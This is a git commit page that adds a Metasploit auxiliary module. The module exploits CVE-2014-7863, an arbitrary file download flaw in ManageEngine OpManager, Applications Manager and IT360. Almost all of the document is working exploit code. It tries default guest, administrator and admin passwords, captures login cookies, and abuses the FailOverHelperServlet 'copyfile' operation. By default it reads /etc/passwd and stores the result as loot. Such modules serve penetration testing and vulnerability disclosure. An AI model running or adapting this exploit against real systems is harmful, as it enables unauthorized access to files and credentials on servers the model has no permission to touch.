Create manageengine_file_download.rb
parent
299a39a67f
commit
62ac536b7d
|
@ -0,0 +1,246 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "ManageEngine OpManager / Applications Manager / IT360 Arbitrary File Download",
|
||||
'Description' => %q{
|
||||
This module exploits an arbitrary file download vulnerability in FailOverHelperServlet
|
||||
on ManageEngine OpManager, Applications Manager and IT360.
|
||||
This vulnerability is unauthenticated on OpManager and Applications Manager, but
|
||||
authenticated in IT360. This module will attempt to login using the default
|
||||
credentials for the administrator and guest accounts; alternatively you can provide
|
||||
a pre-authenticated cookie or a username / password combo.
|
||||
For IT360 targets enter the RPORT of the OpManager instance (usually 8300).
|
||||
This module has been tested on both Windows and Linux with several different versions.
|
||||
Windows paths have to be escaped with 4 backslashes on the command line.
|
||||
There is a companion module that allows you to list the contents of any directory recursively.
|
||||
This vulnerability has been fixed in Applications Manager v11.9 b11912 and OpManager 11.6.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2014-7863' ],
|
||||
[ 'OSVDB', 'TODO' ],
|
||||
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_failservlet.txt' ],
|
||||
[ 'URL', 'FULLDISC_URL' ]
|
||||
],
|
||||
'DefaultOptions' => { 'WfsDelay' => 30 },
|
||||
'DisclosureDate' => 'Jan 28 2015'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('TARGETURI',
|
||||
[ true, "The base path to OpManager, AppManager or IT360", '/' ]),
|
||||
OptString.new('FILEPATH', [false, 'Path of the file to download', '/etc/passwd']),
|
||||
OptString.new('IAMAGENTTICKET',
|
||||
[false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']),
|
||||
OptString.new('USERNAME',
|
||||
[true, 'The username to login as (IT360 target only)', 'guest']),
|
||||
OptString.new('PASSWORD',
|
||||
[true, 'Password for the specified username (IT360 target only)', 'guest']),
|
||||
OptString.new('DOMAIN_NAME',
|
||||
[false, 'Name of the domain to logon to (IT360 target only)'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def get_cookie
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(datastore['TARGETURI'])
|
||||
})
|
||||
if res
|
||||
return res.get_cookies
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def detect_it360
|
||||
res = send_request_cgi({
|
||||
'uri' => "/",
|
||||
'method' => 'GET'
|
||||
})
|
||||
if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})/
|
||||
return true
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
|
||||
def get_it360_cookie_name
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri("/"),
|
||||
})
|
||||
cookie = res.get_cookies
|
||||
if cookie =~ /IAMAGENTTICKET([A-Z]{0,4})/
|
||||
return $1
|
||||
else
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def authenticate_it360(port, path, username, password)
|
||||
if datastore['DOMAIN_NAME'] == nil
|
||||
vars_post = {
|
||||
'LOGIN_ID' => username,
|
||||
'PASSWORD' => password,
|
||||
'isADEnabled' => "false"
|
||||
}
|
||||
else
|
||||
vars_post = {
|
||||
'LOGIN_ID' => username,
|
||||
'PASSWORD' => password,
|
||||
'isADEnabled' => "true",
|
||||
'domainName' => datastore['DOMAIN_NAME']
|
||||
}
|
||||
end
|
||||
|
||||
op_port = datastore['RPORT']
|
||||
datastore['RPORT'] = port
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(path),
|
||||
'vars_get' => {
|
||||
'service' => "OpManager",
|
||||
'furl' => "/",
|
||||
'timestamp' => Time.now.to_i
|
||||
},
|
||||
'vars_post' => vars_post
|
||||
})
|
||||
|
||||
datastore['RPORT'] = op_port
|
||||
|
||||
if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/
|
||||
# /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed"
|
||||
return res.get_cookies
|
||||
else
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def login_it360
|
||||
# Do we already have a valid cookie? If yes, just return that.
|
||||
if datastore['IAMAGENTTICKET'] != nil
|
||||
cookie_name = get_it360_cookie_name
|
||||
cookie = "IAMAGENTTICKET" + cookie_name + "=" + datastore['IAMAGENTTICKET'] + ";"
|
||||
return cookie
|
||||
end
|
||||
|
||||
# get the correct path, host and port
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri("/"),
|
||||
})
|
||||
|
||||
if res && res.redirect?
|
||||
uri = [ res.redirection.port, res.redirection.path ]
|
||||
else
|
||||
return nil
|
||||
end
|
||||
|
||||
cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD'])
|
||||
if cookie != nil
|
||||
return cookie
|
||||
elsif datastore['USERNAME'] == 'guest' && datastore['JSESSIONID'] == nil
|
||||
# we've tried with the default guest password, now let's try with the default admin password
|
||||
cookie = authenticate_it360(uri[0], uri[1], 'administrator', 'administrator')
|
||||
if cookie != nil
|
||||
return cookie
|
||||
else
|
||||
# Try one more time with the default admin login for some versions
|
||||
cookie = authenticate_it360(uri[0], uri[1], 'admin', 'admin')
|
||||
if cookie != nil
|
||||
return cookie
|
||||
end
|
||||
end
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
# No point to continue if filepath is not specified
|
||||
if datastore['FILEPATH'].nil? || datastore['FILEPATH'].empty?
|
||||
print_error("Please supply the path of the file you want to download.")
|
||||
return
|
||||
end
|
||||
|
||||
if detect_it360
|
||||
print_status("#{peer} - Detected IT360, attempting to login...")
|
||||
cookie = login_it360
|
||||
if cookie == nil
|
||||
print_error("#{peer} - Failed to login to IT360!")
|
||||
return
|
||||
end
|
||||
else
|
||||
cookie = get_cookie
|
||||
end
|
||||
|
||||
servlet = 'com.adventnet.me.opmanager.servlet.FailOverHelperServlet'
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'cookie' => cookie,
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet),
|
||||
})
|
||||
if res && res.code == 404
|
||||
servlet = 'FailOverHelperServlet'
|
||||
end
|
||||
|
||||
# Create request
|
||||
begin
|
||||
print_status("#{peer} - Downloading file #{datastore['FILEPATH']}")
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'cookie' => cookie,
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet),
|
||||
'vars_get' => {
|
||||
'operation' => 'copyfile',
|
||||
'fileName' => datastore['FILEPATH']
|
||||
},
|
||||
})
|
||||
rescue Rex::ConnectionRefused
|
||||
print_error("#{peer} - Could not connect.")
|
||||
return
|
||||
end
|
||||
|
||||
# Show data if needed
|
||||
if res && res.code == 200
|
||||
if res.body.to_s.bytesize == 0
|
||||
print_error("#{peer} - 0 bytes returned, file does not exist or is empty.")
|
||||
return
|
||||
end
|
||||
vprint_line(res.body.to_s)
|
||||
fname = File.basename(datastore['FILEPATH'])
|
||||
|
||||
path = store_loot(
|
||||
'manageengine.http',
|
||||
'application/octet-stream',
|
||||
datastore['RHOST'],
|
||||
res.body,
|
||||
fname
|
||||
)
|
||||
print_good("File saved in: #{path}")
|
||||
else
|
||||
print_error("#{peer} - Failed to download file.")
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue